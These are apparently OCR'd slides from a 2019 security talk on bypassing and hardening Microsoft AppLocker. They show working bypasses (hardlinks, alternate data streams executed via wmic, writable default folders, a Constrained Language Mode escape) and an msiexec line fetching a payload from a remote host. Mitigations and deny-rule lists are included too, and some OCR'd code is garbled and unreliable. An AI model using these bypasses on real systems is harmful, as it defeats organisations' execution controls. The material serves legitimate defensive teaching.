Experts Live Norway

APP-O-LOCKALYPSE NOW!

Oddvar Moe Senior Security Consultant / TrustedSec @OddvarMoe

Platinum Sponsor 2019



WHO IS THIS GUY?

- RED TEAMER @TRUSTEDSEC
- SECURITY GEEK / BLOGGER / SPEAKER
- 3 YEARS MICROSOFT MVP
- STARTED IN 1999/2000
- SECURITY RESEARCH
- MEMES/GIFS
- HTTPS://ODDVAR.MOE






DROPPING LOCKSCREEN BYPASS O-DAY



4. "Prevent a locked-down work PC from sleeping," wrote one Reddit user. That moving hand will always trigger the mouse.

Verycoldsoup had the best comment for this tip: "The computer goes to sleep after 5 minutes"

"Not on my watch."





WHY APPLOCKER?

- MISUNDERSTOOD PRODUCT
- IMPLEMENTED AT MANY CUSTOMERS
- OFTEN OVERLOOKED (FREE)
- BOTH SIDES RED AND BLUE



WHAT I WILL COVER

OVERVIEW APPLOCKER

BASIC SETUP

BYPASS TECHNIQUES AND MITIGATIONS (APP-0-LOCKALYPSE PART)

DROPPING A DISCOVERY MADE A FEW WEEKS AGO!

UPDATE ON THE POWERSHELL MODULE — POWERAL



APPLOCKER — WHAT IS IT?

ONE OF MICROSOFT'S WHITELISTING SOLUTIONS
SOFTWARE RESTRICTION POLICY VERSION 2
REQUIRES ENTERPRISE/EDUCATION SKU*
PART OF DEFENSE-IN-DEPTH
ALLOWS/DENY EXECUTION BASED ON HASH/PUBLISHER/PATH



APPLOCKER — WHAT IS IT NOT?

NOT A SECURITY BOUNDARY

■ Sikker | https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria?rtc=1

Defense-in-depth security features

In some cases, a security feature may provide protection against a threat without being able to provide a robust defense. These security features are typically referred to as defense-in-depth features or mitigations because they provide additional security but may have by design limitations that prevent them from fully mitigating a threat. A bypass for a defense-in-depth security feature by itself does not pose a direct risk because an attacker must also have found a vulnerability that affects a security boundary, or they must rely on additional techniques, such as social engineering to achieve the initial stage of a device compromise.

The following table summarizes the defense-in-depth security features that Microsoft has defined which do not have a servicing plan. Any vulnerability or bypass that affects these security features will not be serviced by default, but it may be addressed in a future version or release. Many of these features are being continuously improved across each product release and are also covered by active bug bounty programs.

In some cases, defense-in-depth security features may take a dependency that will not meet the bar for servicing by default. As a result, these defense-in-depth security features will also not meet the bar for servicing by default. An example of this can be observed with Shielded Virtual Machines which takes a dependency on an administrator not being able to compromise the kernel or a Virtual Machine Worker Process (VMWP) which is protected by PPL. In this case, Administrator-to-Kernel and PPL are not serviced by default.

Category	Security feature	Security goal	service?	Bounty?
User safety	User Account Control (UAC)	Prevent unwanted system-wide changes (files, registry, etc) without administrator consent		No
User safety	AppLocker	Prevent unauthorized applications from executing	No	No
User safety	Controlled Folder Access	Protect access and modification to controlled folders from apps that may be malicious	No	No




APPLOCKER — WHAT IS IT NOT?

NOT MEANT TO PROTECT ADMINS

HTTPS://ODDVAR.MOE/2018/07/27/APPLOCKER-FOR-ADMINS-DOES-IT-WORK/

HTTPS://ODDVAR.MOE/2019/02/01/BYPASSING-APPLOCKER-AS-AN-ADMIN/





APPLOCKER — BASIC SETUP

This app has been blocked by your system administrator.

Contact your system administrator for more info.

Copy to clipboard

Close

C:\temp>ExpertsLiveRocks.exe
This program is blocked by group policy. For more information, contact your system administrator.


C:\temp>_

C:\t



APPLOCKER — OTHER SETUP TYPES

- PUBLISHER RULES FROM SPECIFIC VENDORS
- CHAOS APPROACH
- AARONLOCKER









- DEFAULT WINDOWS PERMISSIONS
- PERMISSIONS ON 3RD PARTY SOFTWARE
- ACCESSCHK TO SEE PERMS -

nttps://gist.githubusercontent.com/api0cradle/95cd51fa1aa735d9331186f934df4df9/raw/861f31d74d10811cc

f45aeb61c4aaee2d4c77251/AccessChk.bat


```
accesschk -w -s -q -u Users "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "This Organization" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authentication authority asserted identity" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "Mandatory Label\Medium Mandatory Level" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u %username% "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Users "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "This Organization" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authentication authority asserted identity" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Mandatory Label\Medium Mandatory Level" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u %username% "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Users "C:\Windows" >> windows.txt
```

WHAT ARE WE LOOKING FOR?

- CREATE FILES / WRITE DATA
- CREATE FOLDERS / APPEND DATA & LIST FOLDER / READ DATA
- TRAVERSE FOLDER / EXECUTE FILE



CREATE FILES / WRITE DATA



Allow


Users (RESEARCH3\Users)

Create files / write data

CREATE FILES / WRITE DATA

C:\Windows\system32\cmd.exe

C:\>c:\Tools\autoruns.exe
This program is blocked by group policy. For more information,



CREATE FILES / WRITE DATA

C:\Windows\system32\cmd.exe

C:\>copy c:\Tools\autoruns.exe "C:\Program Files (x86)\Dummy\OnlyFiles\autoruns.exe" 1 file(s) copied.

C:\>"C:\Program Files (x86)\Dummy\OnlyFiles\autoruns.exe" Access is denied.

C:\>_



4/12/2018 1:41 AM

4/13/2009 3:49 PM

4/13/2009 3:49 PM

4/13/2009 3:49 PM

c:\windows\system32\mswsock.dll

c:\windows\system32\mswsock.dll

c:\windows\svstem32\mswsock.dll

THE APPLOCKER RULES - PATH RULES

Can also use Mklink /H

AF_UNIX

Hyper-V RAW

MSAFD Irda [IrDA]

ES / WRITE DATA

HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries


Microsoft Windows Sockets 2.0 Servi... Microsoft Corporation

Microsoft Windows Sockets 2.0 Servi... Microsoft Corporation

Microsoft Windows Sockets 2.0 Servi... Microsoft Corporation

/H C:\V 32\cmd.exe C:\>fsutil hardlink create "c:\Program Files (x86)\Dummy\OnlyFiles\linkedautoruns.exe" c:\tools\autoruns.exe Hardlink created for c:\Program Files (x86)\Dummy\OnlyFiles\linkedautoruns.exe <<===>> c:\tools\autoruns.exe C:\>"c:\Program Files (x86)\Dummy\OnlyFiles\linkedautoruns.exe" C:\>_ Autoruns - Sysinternals: www.sysinternals.com File Entry Options Help Filter: ∠ Logon Services Drivers Everything Explorer Scheduled Tasks Boot Internet Explorer Codecs Winsock Providers ■ WMI KnownDLLs Network Providers Winlogon Print Monitors LSA Providers Publisher Autorun Entry Description Image Path Timestamp

CREATE FOLDERS / APPEND DATA & LIST FOLDER / READ DATA



CREATE FOLDERS / APPEND DATA & LIST FOLDER / READ DATA

```
C:\Windows\system32\cmd.exe
```

C:\Program Files (x86)\Dummy>mkdir "c:\Program Files (x86)\Dummy\CreateFoldersRight\folder"

C:\Program Files (x86)\Dummy>_



CREATE FOLDERS / APPEND DATA & LIST FOLDER / READ DATA

```
C:\Windows\system32\cmd.exe
```

```
C:\>icacls "C:\Program Files (x86)\Dummy\CreateFoldersRight\folder"
C:\Program Files (x86)\Dummy\CreateFoldersRight\folder NT AUTHORITY\SYSTEM:(I)(0I)(CI)(F)
BUILTIN\Administrators:(I)(0I)(CI)(F)
```

Successfully processed 1 files; Failed processing 0 files





CREATE FOLDERS / APPEND DATA & LIST FOLDER / READ DATA


```
C:\Windows\system32\cmd.exe
```

```
C:\>icacls "c:\Program Files (x86)\Dummy\CreateFoldersRight\folder" /grant:r Everyone:(0I)(CI)F /T
processed file: c:\Program Files (x86)\Dummy\CreateFoldersRight\folder
Successfully processed 1 files; Failed processing 0 files
```





ExpertsLiveNO



Live Norway

Advanced Security Settings for folder

Name: C:\Program Files (x86)\Dummy\CreateFoldersRight\folder

Owner: Normal User (normaluser@oddvar.moe) 😯 Change

Permissions Auditing Effective Access

For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available).

Permission entries:

	Туре	Principal	Access	Inherited from	Applies to
	Allow	SYSTEM	Full control	C:\Program Files (x86)\	This folder, subfolders and files
	Allow	Administrators (RESEARCH3\	Full control	C:\Program Files (x86)\	This folder, subfolders and files

How Permissions Work

In this section

- Permissions
- Conflicts Between User Rights and Permissions
- Related Information

Permissions are a key component of the Windows Server 2003 security architecture that you can use to manage the process of authorizing users, groups, and computers to access objects on a network.

Permissions enable the owner of each secured object, such as a file, Active Directory object, or registry key, to control who can perform an operation or a set of operations on the object or object property. Because access to an object is at the owner's discretion, the type of access control that is used in Windows Server 2003 is called discretionary access control. An owner of an object always has the ability to read and change permissions on the object.

CREATE FOLDERS / APPEND DATA & LIST FOLDER / READ DATA

C:\Windows\system	32\cmd.exe			
C:\>copy c:\Tools 1 file(s)		am Files (x86)\Dummy\Crea	ateFoldersRight\fold	der"
C:\>"c:\Program F	iles (x86)\Dummy\Create	FoldersRight\folder\autor	uns.exe"	
C:\>_				
Autoruns - Sysinterna	als: www.sysinternals.com			
File Entry Options H	Help			
	Filter:			
MnownDLLs		ck Providers Print Monitors	USA Providers	Network Provide
Everything	🗓 Logon 🔃 🚼 Explorer 🥻	Internet Explorer 🔀 Scheduler	d Tasks Services	Drivers Z C
Autorun Entry	Description	Publisher	Image Path	Timesta

DEFAULT APPLOCKER RULES -



Folder	Bypass	Access
C:\Windows\Tasks	Drop and execute	RW
C:\Windows\Temp	Drop and execute	RW
C:\Windows\tracing	Create folder - Add ADS stream and execute OR Create new folder - Take ownership - Add all rights - Drop and execute	RW
C:\Windows\Registration\CRMLog	Hardlink fsutil/mklink	RW
C:\Windows\System32\FxsTmp	Hardlink fsutil/mklink	RW
C:\Windows\System32\com\dmp	Hardlink fsutil/mklink	W
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys	Drop and execute	RW
C:\Windows\System32\spool\PRINTERS	Hardlink fsutil/mklink	W
C:\Windows\System32\spool\SERVERS	Hardlink fsutil/mklink	W
C:\Windows\System32\spool\drivers\color	Drop and execute	RW
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter	Create folder - Add ADS stream and execute OR Create new folder - Take ownership - Add all rights - Drop and execute	RW
C:\Windows\SysWOW64\FxsTmp	Hardlink fsutil/mklink	RW
C:\Windows\SysWOW64\com\dmp	Hardlink fsutil/mklink	W
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter	Create folder - Add ADS stream and execute OR Create new folder - Take ownership - Add all rights - Drop and execute	RW
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System	Drop and execute	RW



SCCM ALSO

<>

AppLocker-Bypass-Folderperms-CCM.md

c:\Windows\ccm\inventory\noidmifs

c:\Windows\ccm\logs

c:\Windows\ccm\systemtemp\appvtempdata\appvcommandoutput




DEFAULT APPLOCKER RULES — PATH RULES — 3RD

PARTY

```
1 c:\> accesschk -w -s -q -u Users "C:\Program Files (x86)"
RW C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log
RW C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile_OLD.log
RW C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log
RW C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile_OLD.log
```

2 C:\temp>type C:\temp\bginfo.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:bginfo.exe"

NEW DISCOVERY





```
:\Users\normaluser\Documents type iconsext.exe > c:\windows\system32\Applocker\AppCache.dat.LOG1:bypass.exe
:\Users\normaluser\Documents>dir /a /r c:\windows\system32\Applocker\AppCache.dat.LOG1
Volume in drive C has no label.
Volume Serial Number is 50AB-B32F
Directory of c:\windows\system32\Applocker
05/10/2019 05:34 AM
                              8,192 AppCache.dat.LOG1
                               27,136 AppCache.dat.LOG1:bypass.exe:$DATA
              1 File(s)
                                 8,192 bytes
              0 Dir(s) 117,679,013,888 bytes free
C:\Users\normaluser\Documents wmic process call create 'c:\windows\system32\Applocker\AppCache.dat.LOG1:bypass.ex
Executing (Win32 Process)->Creace()
Method execution successful.
Out Parameters:
instance of PARAMETERS
                                                 IconsExtract
                                                 File Edit View Help
       ProcessId = 6216;
       ReturnValue = 0;
                                                 Q 目 自 自 · 利
::\Users\normaluser\Documents>
```

C:\Windows\system32\cmd.exe



MITIGATIONS


- DEFAULT PERMISSIONS WINDOWS

System Services	^	Action	User	Name	Condition	Exceptions
		O Deny	Everyone	%SYSTEM32%\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}*	Path	
		O Deny	Everyone	%SYSTEM32%\Com\dmp*	Path	
▶ Mired Network (IEEE 802.3) Polici	- 111	O Deny	Everyone	%SYSTEM32%\Fxstmp*	Path	
▶ ■ Windows Firewall with Advanced		O Deny	Everyone	%SYSTEM32%\Microsoft\Crypto\RSA\MachineKeys*	Path	
Network List Manager Policies		○ Deny	Everyone	%SYSTEM32%\runscripthelper.exe	Path	
▶ Wireless Network (IEEE 802.11) Pc		○ Deny	Everyone	%SYSTEM32%\spool\drivers\color*	Path	
Public Key Policies		O Deny	Everyone	%SYSTEM32%\Spool\PRINTERS*	Path	
Software Restriction Policies		O Deny	Everyone	%SYSTEM32%\Spool\SERVERS*	Path	
Network Access Protection		O Deny	Everyone	%SYSTEM32%\Tasks*	Path	
Application Control Policies		○ Deny	Everyone	%SYSTEM32%\winevt\Logs*	Path	
		O Deny	Everyone	%WINDIR%\debug\WIA*	Path	
		ODeny	Everyone	%WINDIR%\Registration\CRMLog*	Path	
Script Rules		O Deny	Everyone	%WINDIR%\Tasks*	Path	
N Dackaged ann Pules		○ Deny	Everyone	%WINDIR%\Temp*	Path	
▶ 🗐 IP Security Policies on Active Dire		O Deny	Everyone	%WINDIR%\tracing*	Path	
Advanced Audit Policy Configura		O Deny	Everyone	SCCM - %WINDIR%\ccm\inventory\noidmifs*	Path	
Policy-based QoS		○ Deny	Everyone	SCCM - %WINDIR%\ccm\logs*	Path	
Administrative Templates: Policy definit		○ Deny	Everyone	${\sf SCCM-WINDIR\%\backslash ccm\backslash system temp\backslash appv temp data\backslash appv command output\backslash *}$	Path	

MITIGATIONS

- ALTERNATE DATA STREAMS - @GHASLINGER

HTTPS://HITCO.AT/BLOG/HOWTO-PREVENT-BYPASSING-APPLOCKER-USING-ALTERNATE-DATA-STREAMS/



DEFAULT APPLOCKER RULES — PATH RULES


MITIGATIONS

- 3RD PARTY — DENY EXECUTE

Principal:	Everyone Select a principal			
Туре:	Deny	~		
	12.101			
Advanced	permissions:			
			A SA SA MANAGO DI ANTO DE CALLED DE CONTROL ANTO DE CONTROL AN	
	☐ Full control		☐ Write attributes	
	☐ Full control ☐ Traverse folder / execute file		 ─ Write attributes ─ Write extended attributes 	
	Service Committee of the Committee of th		The second secon	
	✓ Traverse folder / execute file		☐ Write extended attributes	
	 ☑ Traverse folder / execute file ☐ List folder / read data 		☐ Write extended attributes ☐ Delete	
	☐ Traverse folder / execute file ☐ List folder / read data ☐ Read attributes		☐ Write extended attributes ☐ Delete ☐ Read permissions	

POWERSHELL V2

- STARTING POWERSHELL
 WITH —VERSION 2
- BYPASSES CONSTRAINED LANGUAGE MODE
- NO LOGGING
- NOT PRESENT IN NEWEST W10







MITIGATION - APPLOCKER BYPASSES — SCRIPT

RULES

MITIGATION



Use PowerShell to remove the version of PowerShell (v2) that has no business on your hosts.



Norway

contact@mc

DEFAULT APPLOCKER RULES - SCRIPT RULES - CONSTRAINED LANGUAGE MODE

BYPASS



HTTPS://WWW.MDSEC.CO.UK/2018/09/APPLOCKER-CLM-BYPASS-VIA-COM/



ne Services Research Education Blog

New-Object within AppLocker CLM... and this works??

Surprisingly, when I started looking at the attack surface of CLM, I found that New-Object works (albeit with some restrictions) when CLM has been enabled via AppLocker. This seemed at odds with what is trying to be achieved, but sure enough, we find that the following command will execute just fine:

New-Object -ComObject WScript.Shell

This of course gives us a perfect way of manipulating the PowerShell process from within PowerShell, as COM objects are exposed via DLL's which can be loaded into the calling process. So how can we create a COM object ready for loading? Well if we take a look at ProcMon during an attempt to call New-Object -ComObject xpntest, we see that there are a number of requests to the HKEY_CURRENT_USER hive:



File Edit Event Filter Tools Options Help

<i>😅</i> 🔚 🍳 👺 💟 😽 📤 🚭 🖺 👫 🥦 <u>💸 🛼 🏖 🦝 🌆</u>				
Time o Process Name	PID Operation	Path		
16:47:0 Z powershell.exe	7912 KegQueryKey	HKCU\Software\Classes		
16:47:0 Z powershell.exe	7912 KegQueryKey	HKCU\Software\Classes		
16:47:0 Z powershell.exe	7912 RegQueryKey	HKCU\Software\Classes		
16:47:0 Dowershell.exe	7912 RegOpenKey	HKCU\Software\Classes\xpntest		

After some playing around, we see that we can create the required registry keys within HKCU with the following script:

```
sollFath = "C:LUSersAxpn/Desktopitest.dlt"
sould = "(72C4005-0704-4388-8442-984248880340)"


New-PSOrive -PSProvider Registry -/wave HRU -/Root HREY_USERS -erroraction 'silentlycontinue' | Out-Hull
soutches = whomat /user | select-string -Pattern "(S-1-5-[-0-9]+)" -all | select -ExpandProperty Matches
Soid = $matches.value

Skey = 'HRU:\{0\)_classes' -f $sid

# Adding Out Indirectory:
Now-Item -$fith Skey -knew (LSID -erroraction 'silentlycontinue' | Out-Null
Skey = 'HRU:\{0\)_classes\((L) - \) -f $sid
Now-Item -$fith Skey -knew (LSID -erroraction 'silentlycontinue' | Out-Null
Skey = 'HRU:\{0\)_classes\((L) - \) -f $sid
Now-Item -$fith Skey -knew Should -servicestion 'silentlycontinue' | Out-Null
```

CONSTRAINED LANGUAGE MODE BYPASS

 BLOGPOST: HTTP://ODDVAR.MOE/2018/09/21/TEMPORARY-CONSTRAINED-LANGUAGE-MODE-IN-APPLOCKER/



CONSTRAINED LANGUAGE MODE BYPASS

Command Prompt

PROMPT=\$P\$G

PSModulePath=C:\Program Files\WindowsPowerShell\Module

PUBLIC=C:\Users\Public SESSIONNAME=Console

SystemDrive=C:

SystemRoot=C:\WTNDOWS

TEMP=C:\Users\oddva\AppData\Local\Temp
TMP=C:\Users\oddva\AppData\Local\Temp

USEKDOMAIN=LULCOMP

USERDOMAIN_ROAMINGPROFILE=LOLCOMP

USERNAME=oddva

USERPROFILE=C:\Users\oddva

windir=C:\WINDOWS

C:\Users\oddva>set_



CONSTRAINED LANGUAGE MODE BYPASS

\$CurrTemp = \$env:temp
\$CurrTmp = \$env:tmp
\$TEMPBypassPath = "C:\windows\temp"
\$TMPBypassPath = "C:\windows\temp"

Action	User	Name
Allow	Everyone	(Default Rule) All scripts located in the Program Files folder
Allow	Everyone	(Default Rule) All scripts located in the Windows folder
Allow	BUILTIN\Administrators	(Default Rule) All scripts

Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "\$TEMPBypassPath" Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "\$TMPBypassPath"

Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "powershell" sleep 5


#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value \$CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value \$CurrTemp



DEFAULT APPLOCKER RULES — MSI/APPX

MSI INSTALLER RULES

- APPX



- BUY A CODE SIGNING CERT 80\$-ISH
- MSFVENOM CAN GENERATE MSI FILES
- SIGN (PART OF SDK):
 SIGNTOOL SIGN /A EVILFILE.MSI
- = EXECUTE: MSIEXEC /Q /I HTTP://IP/TMP/CMD.PNG



DEFAULT APPLOCKER RULES — MSI/APPX

MITIGATION


MSI INSTALLER RULES

Action	User	Name	Condition	Exc
Allow	Everyone	Signed by O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US	Publisher	
Allow	Everyone	(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer	Path	
Allow	BUILTIN\Ad	(Default Rule) All Windows Installer files	Path	

DEFAULT APPLOCKER RULES — MSI/APPX

MITIGATION

APPX



DEFAULT APPLOCKER RULES — KNOWN BYPASSES

- INSTALLUTIL
- MSBUILD
- MSHTA.
- REGASM
- REGSVCS
- VSTO FILES

HTTPS://GITHUB.COM/APIOCRADLE/ULTIMATEAPPLOCKERBYPASSLIST/BLOB/MASTER/VERIFIEDAPPLOCKERBYPASSES.MD



AppLocker Exceptions are evil! Do not trust them. Instead use specific deny rules. Ex: You create a publisher rule that allows * from MS, and you create an exception in the default AppLocker rules under c:\windows for calc.exe. Calc.exe will still execute.



NOT DEFAULT RULES! ALL EXE/DLL FROM MICROSOFT ALLOWED


Allow Pro	perties				×
General	Publisher	Exceptions			
Edit the	Edit the values below to modify the scope of this rule.				
Publish	er:				
D=MIC	D=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US				
					_
Produc	t name:				
•					
File nar	me:				
•					7
					_
F1					
File ver	sion:				
				And above	~
More	والمارية والمارية	or nulco			
More a	bout publish	ei iules			





NOT DEFAULT RULES! ALL EXE/DLL FROM MICROSOFT ALLOWED

TYPICAL MISCONFIGURATION



C:\Users\normaluser>icacls This program is blocked by group policy. For more information, contact your system administra


C:\Users\normaluser>_

Product nar	ie:
MICROSOF	T® WINDOWS® OPERATING SYSTEM
File name:	
ICACLS.EX	

orway

NOT DEFAULT RULES! - ALL EXE/DLL FROM MICROSOFT ALLOWED

TYPICAL MISCONFIGURATION



NOT DEFAULT RULES! ALL EXE/DLL FROM MICROSOFT ALLOWED

TYPICAL MISCONFIGURATION

C:\Windows\system32\cmd.exe

C:\Users\normaluser>icacls.exe c:\windows\system32\cmd.exe
c:\windows\system32\cmd.exe NT SERVICE\TrustedInstaller:(F)

BUILTIN\Administrators:(RX)
NT AUTHORITY\SYSTEM:(RX)

BUILTIN\Users:(RX)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES: (RX)

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES: (RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\normaluser>_

ALL EXE/DLL FROM MICROSOFT ALLOWED

OPENS DOOR FOR KNOWN BINARIES THAT CAN EXECUTE CODE

- BEINFO CODE EXECUTION
- CDB CODE EXECUTION
- +++++
- HTTPS://GITHUB.COM/APIOCRADIE/UIZIMATEAPPLOCKERBYPAS SLIST/BLOB/MASTER/UNVERIFIED A 200 CKERBYPASSES.MD
- HTTPS://LOLBAS-PROJECT.GITHUB.IO/



HARDENING RULES

■ DefaultRules-Improved.xml	Added an improved version of the default rules
PathBlockRules-DLL.xml	Updated rules with ADS
PathBlockRules-EXE.xml	Blocked bash.exe
PathBlockRules-Scripts.xml	Updated rules with ADS
PublisherBlockRules-DLL.xml	Add my blocking rules for AppLocker - first version
PublisherBlockRules-EXE.xml	Updated block rules from W10 1803, also included some rules

HTTPS://GITHUB.COM/APIOCRADLE/ULTIMATEAPPLOCKERBYPASSLIST/TREE/MASTER/APPLOCKER-BLOCKPOLICIES



AARONLOCKER

- GREAT STUFF
- EASIER TO MAINTAIN A BIG RULESET
- HTTPS://GITHUB.COM/MICROSOFT/AARONLOCKER/TREE/MASTER/AARONLOCKER



SUMMARY - MY RECOMMENDATION ON APPLOCKER

- 1. USE DEFAULT RULES
- 2. ENABLE DLL!
- 3. DON'T USE EXCEPTIONS! (I DON'T LIKE EM)
- 4. CREATE DENY PATH RULES FOR PATHS THAT USER CAN WRITE TO
- 5. CREATE DENY PATH RULES FOR ADS ON THE SAME FOLDERS
- 6. CREATE DENY PUBLISHER RULES ON KNOWN BAD BINARIES (MSBUILD, POWERSHELL...)
- 7. REMOVE RULES THAT ALLOWS ALL SIGNERS (MSI, APPX)
- 8. ENABLE CENTRAL MONITORING USING EVENT FORWARDING (OR SPLUNK AGENT)



UPDATE ON POWERSHELL MODULE POWERAL

- CAN BE FOUND HERE:
 HTTPS://GITHUB.COM/APIOCRADIE/POWERAL
- RUNS IN CONSTRAINED LANGUAGE MODE
- AUTOMATES SOME OF THE HUNTING FOR VULNERABILITES
- GREAT FOR RED AND BLUE
- NOT FEATURE COMPLETE





QUESTIONS?



Experts Live Norway

THANK YOU!

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